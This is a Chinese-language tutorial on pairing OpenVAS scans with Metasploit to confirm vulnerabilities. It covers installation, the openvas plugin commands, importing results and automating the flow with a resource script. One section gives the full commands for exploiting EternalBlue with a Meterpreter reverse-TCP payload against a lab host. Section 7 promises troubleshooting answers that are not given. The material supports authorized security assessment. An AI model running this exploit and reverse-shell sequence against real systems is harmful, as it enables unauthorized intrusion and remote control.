Metasploit与OpenVAS联动实战：从漏洞扫描到利用验证的完整工作流

1. 项目概述：为什么选择Metasploit与OpenVAS的组合？

在安全评估的日常工作中，我们常常面临一个选择：是使用一个功能全面但可能略显笨重的集成化平台，还是将几个轻量级、专精的工具组合起来，形成一套灵活的工作流？对于渗透测试和漏洞管理而言，Metasploit和OpenVAS的组合，就是后一种思路的经典实践。这并非简单的工具堆砌，而是一种经过实战检验的、能够显著提升效率与覆盖面的策略。

Metasploit以其强大的漏洞利用框架和后期渗透能力闻名，但它内置的漏洞扫描模块（如auxiliary/scanner/下的各类模块）往往更侧重于服务发现和特定漏洞的验证，在全面性上有所欠缺。而OpenVAS则是一个纯粹的、专业的漏洞扫描器，它拥有一个庞大且持续更新的漏洞检测数据库（NVT），能够对目标系统进行地毯式的安全体检，发现从操作系统补丁缺失、服务配置错误到应用层漏洞的各类问题。

将两者结合，相当于为你的安全评估工作配备了“侦察兵”和“主力部队”。OpenVAS负责前期的广域侦察，绘制出详细的目标漏洞地图；Metasploit则根据这张地图，针对高价值目标（如已确认的、可被利用的漏洞）进行精准的渗透攻击和后续控制。这种工作流的核心价值在于：用OpenVAS的全面性弥补Metasploit扫描的不足，再用Metasploit的利用能力验证OpenVAS发现的高危漏洞，形成从发现到验证的闭环。对于安全工程师、渗透测试人员甚至系统管理员来说，掌握这套组合拳，意味着你能更系统、更高效地完成从漏洞发现到风险验证的全过程。

2. 环境准备与工具部署详解

在开始实战之前，一个稳定、隔离的测试环境是重中之重。我强烈建议在虚拟机中搭建整个环境，例如使用 VMware Workstation 或 VirtualBox。这样既能避免对宿主机的潜在影响，也方便进行快照和回滚操作。

2.1 OpenVAS的安装与初始化配置

OpenVAS的安装方式有多种，对于新手和追求快速上手的从业者，我推荐使用其官方提供的OpenVAS Docker 镜像或GVM（Greenbone Vulnerability Management）全家桶。这里以在 Kali Linux 或 Ubuntu 这类Debian系发行版上安装GVM为例，因为它提供了最完整的体验。

首先，更新系统并安装必要的依赖包：

sudo apt update && sudo apt upgrade -y sudo apt install -y curl gnupg

接着，添加GVM的官方仓库并安装。请注意，安装过程耗时较长，且对硬件资源（尤其是内存）有一定要求，建议预留至少4GB内存。

# 添加GVM仓库密钥和源 curl -f -L https://www.greenbone.net/GBCommunitySigningKey.asc -o /tmp/GBCommunitySigningKey.asc gpg --dearmor /tmp/GBCommunitySigningKey.asc sudo mv /tmp/GBCommunitySigningKey.asc.gpg /etc/apt/trusted.gpg.d/ echo "deb http://packages.greenbone.net/community/debian stable main" | sudo tee /etc/apt/sources.list.d/gvm.list sudo apt update # 安装GVM完整版 sudo apt install -y greenbone-community-all

安装完成后，需要执行初始化设置，这包括下载最新的漏洞数据库（NVT）、SCAP数据、CERT数据等。这是一个必须的步骤，否则扫描器无“料”可用。

# 运行初始化脚本，此过程需要联网且耗时很长 sudo gvm-setup

gvm-setup脚本会引导你完成一系列配置，并在最后输出一个用于Web界面登录的随机密码，务必记下。脚本运行完毕后，启动所有相关服务：

sudo systemctl start gvmd gsad ospd-openvas sudo systemctl enable gvmd gsad ospd-openvas # 设置开机自启

此时，你可以通过浏览器访问https://<你的服务器IP>:9392来打开Greenbone Security Assistant (GSA) Web界面。首次登录使用用户名admin和刚才记下的密码。

实操心得：初始化下载数据的过程可能因网络问题失败。如果遇到，可以尝试多次运行sudo gvm-feed-update命令来手动更新。另外，在虚拟机中运行，务必确保虚拟机的系统时间准确，否则可能导致证书错误无法访问Web界面。

2.2 Metasploit框架的启动与基础配置

Metasploit通常预装在 Kali Linux 中。如果使用其他系统，可以通过其官方安装脚本或包管理器安装。确保其处于可用状态：

# 在Kali中，通常已安装，直接启动PostgreSQL数据库服务（Metasploit依赖） sudo systemctl start postgresql sudo systemctl enable postgresql # 初始化Metasploit数据库 msfdb init # 启动Metasploit控制台 msfconsole

进入msfconsole后，首先检查数据库连接状态，这对于后续存储扫描结果至关重要：

msf6 > db_status [*] postgresql connected to msf

看到connected即表示成功。为了后续能与OpenVAS联动，我们需要确保Metasploit能访问网络。在虚拟机环境中，通常使用NAT或桥接网络模式即可。

3. 核心联动原理与模块解析

Metasploit与OpenVAS的联动，并非通过某个神秘的直接接口，而是基于一个清晰、标准的流程：信息传递与任务接力。其核心在于Metasploit中的一个特定模块：openvas插件。这个插件本质上是一个OpenVAS Management Protocol (OMP)的客户端，它允许Metasploit直接向OpenVAS服务器发送指令，创建扫描任务、启动扫描、并取回扫描结果。

3.1 Metasploit的OpenVAS插件工作机制

当你加载openvas插件后，Metasploit就变成了一个OpenVAS的远程控制台。其工作流程可以拆解如下：

1. 连接认证：插件使用OMP协议，通过用户名、密码和OpenVAS服务器地址建立加密连接。
2. 任务创建与配置：在Metasploit内部，你可以通过命令定义一个扫描任务，指定目标IP、扫描配置（如“全扫”、“快速扫描”等）。插件将这些参数转换为OMP指令，发送给OpenVAS服务器，在服务器端创建一个实实在在的扫描任务。
3. 任务执行监控：插件可以发送指令启动该任务，并周期性地查询任务状态（“排队中”、“运行中”、“已完成”）。
4. 结果获取与导入：扫描完成后，插件会从OpenVAS服务器下载扫描报告（通常为XML格式），并自动解析、导入到Metasploit的数据库中。导入后，每一个被发现的漏洞都会在Metasploit中生成一条记录，包含目标IP、端口、漏洞名称、严重等级等信息。

3.2 关键模块与命令深度解读

在msfconsole中加载插件后，你会拥有一组以openvas_为前缀的命令。理解这些命令是熟练操作的关键：

• openvas_connect：这是联动的起点。你需要提供正确的OpenVAS服务器地址、端口、用户名和密码。一个常见的误区是使用Web界面的地址（默认9392端口）。OMP协议通常使用9390端口。命令格式如下：

  openvas_connect admin your_password_here 127.0.0.1 9390 ok

  最后的ok参数表示忽略SSL证书警告（在自签名证书环境下使用）。连接成功后，会返回OpenVAS服务器的版本信息。

• openvas_task_create：这是核心配置环节。它不仅仅是创建一个任务名，更是定义了扫描的“作战方案”。

  openvas_task_create "Metasploit Scan for 192.168.1.0/24" "Full and fast" "192.168.1.0/24"

  这个命令创建了一个名为“Metasploit Scan for 192.168.1.0/24”的任务，使用了“Full and fast”这个扫描配置（这是OpenVAS内置的一个平衡了速度与覆盖面的配置），目标为整个192.168.1.0/24网段。这里的“扫描配置”选择至关重要，它决定了扫描的深度、强度和耗时。例如，“Full and fast”适合一般性评估，“Full and very deep”则可能持续数小时甚至更久，但会发现更多隐蔽问题。

• openvas_task_start和openvas_task_list：启动任务并查看所有任务状态。扫描时间取决于目标规模、网络状况和扫描配置。

• openvas_report_download：这是将成果“搬回”Metasploit的关键一步。你需要指定任务ID和报告格式。为了后续在Metasploit中处理，必须选择XML格式（通常格式ID为xml）。

  openvas_report_download <task_id> <report_format_id> /path/to/save/report.xml

  下载后，使用db_import命令将其导入Metasploit数据库。

注意事项：OpenVAS插件在Metasploit的更新中可能状态不稳定。如果遇到命令无法识别或执行错误，首先检查插件是否成功加载（load openvas），其次确认OpenVAS的OMP服务（gsad）是否正常运行且端口可访问。有时，直接使用OpenVAS的CLI工具（gvm-cli）或API进行交互，是更可靠的备选方案。

4. 完整实战流程：从扫描到漏洞验证

现在，我们将把上述所有环节串联起来，执行一次完整的、从扫描到利用验证的实战演练。假设我们的目标是评估内网中一个IP地址为192.168.1.105的测试服务器。

4.1 步骤一：在Metasploit中配置并执行OpenVAS扫描

首先，确保OpenVAS服务已在后台运行，并且Web界面可以正常登录。然后，在Metasploit中操作：

msf6 > load openvas [*] Welcome to OpenVAS integration by kost and averagesecurityguy. [*] OpenVAS integration requires a database connection. Creating storage... [*] Successfully loaded plugin: openvas msf6 > openvas_connect admin [Your_Admin_Password] 127.0.0.1 9390 ok [*] Connecting to OpenVAS instance at 127.0.0.1:9390 with username admin... [*] Authenticated successfully. msf6 > openvas_task_create "Single Target Scan - 192.168.1.105" "Full and fast" "192.168.1.105" [*] 创建任务成功，任务ID: 8a62a2b1-xxxx-xxxx-xxxx-xxxxxxxxxxxx

记下返回的任务ID。接着启动任务并等待完成：

msf6 > openvas_task_start 8a62a2b1-xxxx-xxxx-xxxx-xxxxxxxxxxxx [*] 任务启动成功。 msf6 > openvas_task_list # 定期执行此命令，直到任务状态变为 `Done`

任务完成后，下载报告并导入：

msf6 > openvas_report_download 8a62a2b1-xxxx-xxxx-xxxx-xxxxxxxxxxxx xml /tmp/openvas_report.xml [*] 报告下载成功。 msf6 > db_import /tmp/openvas_report.xml [*] 成功导入来自‘openvas’的漏洞数据。

4.2 步骤二：在Metasploit中分析扫描结果

导入成功后，OpenVAS发现的所有漏洞、主机、服务信息都已存入Metasploit数据库。我们可以使用一系列命令进行查询和分析：

msf6 > hosts # 查看发现的主机列表，应包含192.168.1.105 msf6 > services # 查看在目标主机上发现的所有开放端口和服务 msf6 > vulns # 这是最关键的命令：列出所有导入的漏洞

vulns命令的输出会显示每个漏洞的名称、对应的主机、端口、严重等级（High, Medium, Low等）以及引用信息（如CVE编号）。例如，你可能会看到类似这样的条目：

主机: 192.168.1.105，端口: 445/tcp，名称: Microsoft Windows SMBv1 服务器漏洞 (CVE-2017-0144)，严重性: High

这个CVE-2017-0144，正是臭名昭著的“永恒之蓝”（EternalBlue）漏洞的编号。

4.3 步骤三：针对高危漏洞进行利用验证

现在，我们有了明确的目标。假设OpenVAS报告了上述SMB漏洞。我们可以在Metasploit中搜索并利用对应的攻击模块进行验证。漏洞验证的目的不是破坏，而是确认漏洞的真实存在性和可利用性，这是风险评估中至关重要的一环。

msf6 > search eternalblue # 或者更精确地 search cve:2017-0144 Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 exploit/windows/smb/ms17_010_eternalblue 2017-03-14 average Yes MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption

选择该模块，并配置参数：

msf6 > use exploit/windows/smb/ms17_010_eternalblue msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.1.105 RHOSTS => 192.168.1.105 msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcp payload => windows/x64/meterpreter/reverse_tcp msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.1.your_attack_ip LHOST => 192.168.1.your_attack_ip

在真正执行攻击前，可以先进行“检查”（check），这能进一步确认漏洞是否存在，且不会对目标造成实际影响：

msf6 exploit(windows/smb/ms17_010_eternalblue) > check [*] 192.168.1.105:445 - The target is vulnerable.

如果检查返回“易受攻击”，那么OpenVAS的扫描结果就得到了强有力的现场验证。此时，你可以根据测试授权范围，决定是否执行exploit命令来获取一个Meterpreter会话，进行更深度的权限验证和影响评估。

5. 高级技巧与自动化脚本编写

对于需要定期进行安全评估的场景，手动执行上述所有步骤效率低下。我们可以利用Metasploit的资源脚本（Resource Script）功能，将整个流程自动化。

创建一个文本文件，例如openvas_auto.rc，内容如下：

# openvas_auto.rc - 自动化OpenVAS扫描与导入 load openvas openvas_connect admin [Your_Password] 127.0.0.1 9390 ok # 创建扫描任务，这里以扫描一个网段为例 openvas_task_create "Weekly Auto Scan" "Full and fast" "192.168.1.0/24" # 注意：这里需要根据上一个命令的实际输出，手动或通过更复杂的脚本获取任务ID # 假设任务ID是：abcd1234-5678-90ef-ghij-klmnopqrstuv openvas_task_start abcd1234-5678-90ef-ghij-klmnopqrstuv echo "[*] 扫描任务已启动，等待60分钟完成..." sleep 3600 # 等待60分钟，时间需根据实际情况调整 openvas_report_download abcd1234-5678-90ef-ghij-klmnopqrstuv xml /tmp/weekly_scan.xml db_import /tmp/weekly_scan.xml echo "[*] 报告已导入数据库。" vulns -c # 使用-c参数按严重性统计漏洞数量 hosts -c # 统计主机数量

然后，在命令行中通过msfconsole -r openvas_auto.rc来执行这个脚本。对于任务ID的自动获取，可以结合openvas_task_list命令的输出解析，但这需要更复杂的脚本逻辑（如使用Ruby在Metasploit内编程，或使用外部脚本调用OMP API）。

实操心得：自动化脚本的难点在于处理异步任务（扫描需要时间）和错误处理（如网络中断、扫描失败）。一个更健壮的做法是，将创建任务、启动任务写在一个脚本里，而将下载报告和导入放在另一个定时执行的脚本中，两个脚本之间通过文件或数据库传递任务ID状态。此外，定期更新OpenVAS的NVT资料库也应是自动化流程的一部分，可以通过openvas_feed_update命令或在系统层面设置cron job来执行gvm-feed-update。

6. 性能调优、结果分析与报告生成

一次全面的OpenVAS扫描可能产生成千上万条结果，其中包含大量信息性（Info）和低危（Low）告警。如何从中快速定位真正的高风险项，是提升工作效率的关键。

6.1 OpenVAS扫描配置优化

在创建扫描任务时，不要总是使用默认的“Full and fast”。根据目标情况调整：

• 针对Web服务器：可以创建或选择一个专注于Web应用漏洞的扫描配置，它会更集中地测试SQL注入、XSS、命令执行等，减少对无关端口的探测。
• 针对内部网络设备：可能需要对扫描的并发主机数、并发测试数进行限制，避免对网络和设备造成过大压力。在OpenVAS的扫描配置中，可以调整“最大主机数”和“最大并发NVT数”。
• 使用“仅发现”模式：如果只想了解网络资产情况（有哪些IP、开放了哪些端口），可以使用“Discovery”类型的配置，它只进行端口扫描和服务识别，速度极快。

6.2 在Metasploit中高效分析漏洞数据

导入漏洞后，利用Metasploit强大的数据库查询功能进行过滤：

# 只查看高危（High）漏洞 msf6 > vulns -s high # 查看特定主机（192.168.1.105）上的所有漏洞 msf6 > vulns -h 192.168.1.105 # 查看特定服务（如HTTP）相关的漏洞 msf6 > vulns -p 80,443 # 结合使用，查看192.168.1.105上端口445的高危漏洞 msf6 > vulns -h 192.168.1.105 -p 445 -s high

这些查询能帮你迅速聚焦到最需要关注的问题上。

6.3 生成 actionable 的报告

Metasploit本身提供了一些报告生成功能，但相对基础。更专业的做法是结合OpenVAS Web界面强大的报告功能。你可以在GSA界面中，对扫描结果进行：

1. 筛选与排序：按严重性、漏洞类型、主机等维度筛选。
2. 结果确认（False Positive剔除）：对于误报，可以将其标记为“已确认的误报”，避免干扰。
3. 导出详细报告：GSA支持导出PDF、HTML、XML等多种格式的报告。其中，PDF报告最适合直接交付给客户或管理层，它包含执行摘要、漏洞详情、风险排序、修复建议等所有必要信息。

一个高效的流程是：在Metasploit中完成扫描、导入和初步的漏洞验证（利用）；然后回到OpenVAS的Web界面，利用其更友好的UI进行结果的深度分析、整理，并生成最终交付的格式化工件。

7. 常见问题排查与避坑指南

在实际操作中，你几乎一定会遇到下面这些问题。这里是我总结的排查思路和解决方案。

最后再分享一个小技巧：对于大型内网扫描，我习惯将OpenVAS部署在一台独立的、性能较好的Linux服务器上，而Metasploit则运行在我的本地Kali攻击机上。这样，扫描任务由服务器承担，不消耗本地资源；我只需要在需要时从Metasploit连接过去创建任务、获取结果即可。这种分布式的工作模式，在面对复杂评估项目时尤其高效。